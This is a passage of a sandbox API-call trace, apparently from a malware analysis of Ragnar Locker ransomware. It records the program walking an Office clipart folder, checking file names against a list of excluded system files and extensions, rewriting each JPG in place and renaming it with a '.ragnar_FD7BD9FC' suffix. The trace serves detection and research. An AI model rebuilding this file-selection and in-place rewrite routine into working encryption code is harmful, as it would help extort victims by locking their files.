[0087.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.363] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x89a4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x89a4, lpOverlapped=0x0) returned 1 [0087.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.365] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x89a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.365] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x89a4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x89a4, lpOverlapped=0x0) returned 1 [0087.365] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x89a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.365] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.366] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x89a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.366] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.366] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.366] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.366] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.366] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.366] GetProcessHeap () returned 0x580000 [0087.366] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.366] CloseHandle (hObject=0xf4) returned 1 [0087.366] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" [0087.366] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.ragnar_FD7BD9FC" [0087.366] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.367] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0087.367] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.367] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287642.JPG" | out: lpString1="J0287642.JPG") returned="J0287642.JPG" [0087.367] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG") returned=".JPG" [0087.367] lstrcmpiW (lpString1="J0287642.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.367] lstrcmpiW (lpString1="J0287642.JPG", lpString2="autorun.inf") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="boot.ini") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="bootfont.bin") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="bootsect.bak") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="bootmgr") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="bootmgr.efi") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="bootmgfw.efi") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="desktop.ini") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="iconcache.db") returned 1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="ntldr") returned -1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="ntuser.dat") returned -1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="ntuser.dat.log") returned -1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="ntuser.ini") returned -1 [0087.368] lstrcmpiW (lpString1="J0287642.JPG", lpString2="thumbs.db") returned -1 [0087.368] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.368] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.368] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.368] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.368] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.368] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.368] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg")) returned 0x20 [0087.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.369] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17105) returned 1 [0087.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x42c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.369] GetProcessHeap () returned 0x580000 [0087.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.369] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.371] VirtualAlloc (lpAddress=0x0, dwSize=0x42d1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.371] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x42d1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x42d1, lpOverlapped=0x0) returned 1 [0087.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42d1, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.372] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x42d1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x42d1, lpOverlapped=0x0) returned 1 [0087.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42d1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.372] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x42d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.373] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.373] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.373] GetProcessHeap () returned 0x580000 [0087.373] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.373] CloseHandle (hObject=0xf4) returned 1 [0087.373] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" [0087.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.ragnar_FD7BD9FC" [0087.373] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0087.374] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.374] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287643.JPG" | out: lpString1="J0287643.JPG") returned="J0287643.JPG" [0087.374] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG") returned=".JPG" [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="autorun.inf") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="boot.ini") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="bootfont.bin") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="bootsect.bak") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="bootmgr") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="bootmgr.efi") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="bootmgfw.efi") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="desktop.ini") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="iconcache.db") returned 1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="ntldr") returned -1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="ntuser.dat") returned -1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="ntuser.dat.log") returned -1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="ntuser.ini") returned -1 [0087.374] lstrcmpiW (lpString1="J0287643.JPG", lpString2="thumbs.db") returned -1 [0087.374] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.374] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.374] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.374] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.374] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.374] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.374] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg")) returned 0x20 [0087.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.375] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16017) returned 1 [0087.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3e88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.375] GetProcessHeap () returned 0x580000 [0087.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.375] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.377] VirtualAlloc (lpAddress=0x0, dwSize=0x3e91, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.377] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3e91, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3e91, lpOverlapped=0x0) returned 1 [0087.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.378] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e91, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.378] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3e91, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3e91, lpOverlapped=0x0) returned 1 [0087.378] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e91, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.378] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.379] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3e91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.379] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.379] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.379] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.379] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.379] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.379] GetProcessHeap () returned 0x580000 [0087.379] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.379] CloseHandle (hObject=0xf4) returned 1 [0087.379] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" [0087.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.ragnar_FD7BD9FC" [0087.379] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.380] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0087.380] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.380] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0287644.JPG" | out: lpString1="J0287644.JPG") returned="J0287644.JPG" [0087.380] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG") returned=".JPG" [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="autorun.inf") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="boot.ini") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="bootfont.bin") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="bootsect.bak") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="bootmgr") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="bootmgr.efi") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="bootmgfw.efi") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="desktop.ini") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="iconcache.db") returned 1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="ntldr") returned -1 [0087.380] lstrcmpiW (lpString1="J0287644.JPG", lpString2="ntuser.dat") returned -1 [0087.381] lstrcmpiW (lpString1="J0287644.JPG", lpString2="ntuser.dat.log") returned -1 [0087.381] lstrcmpiW (lpString1="J0287644.JPG", lpString2="ntuser.ini") returned -1 [0087.381] lstrcmpiW (lpString1="J0287644.JPG", lpString2="thumbs.db") returned -1 [0087.381] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.381] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.381] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.381] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.381] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.381] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.381] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg")) returned 0x20 [0087.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.381] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17349) returned 1 [0087.381] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x43bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.381] GetProcessHeap () returned 0x580000 [0087.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.381] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.383] VirtualAlloc (lpAddress=0x0, dwSize=0x43c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.383] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x43c5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x43c5, lpOverlapped=0x0) returned 1 [0087.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.384] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43c5, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.384] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x43c5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x43c5, 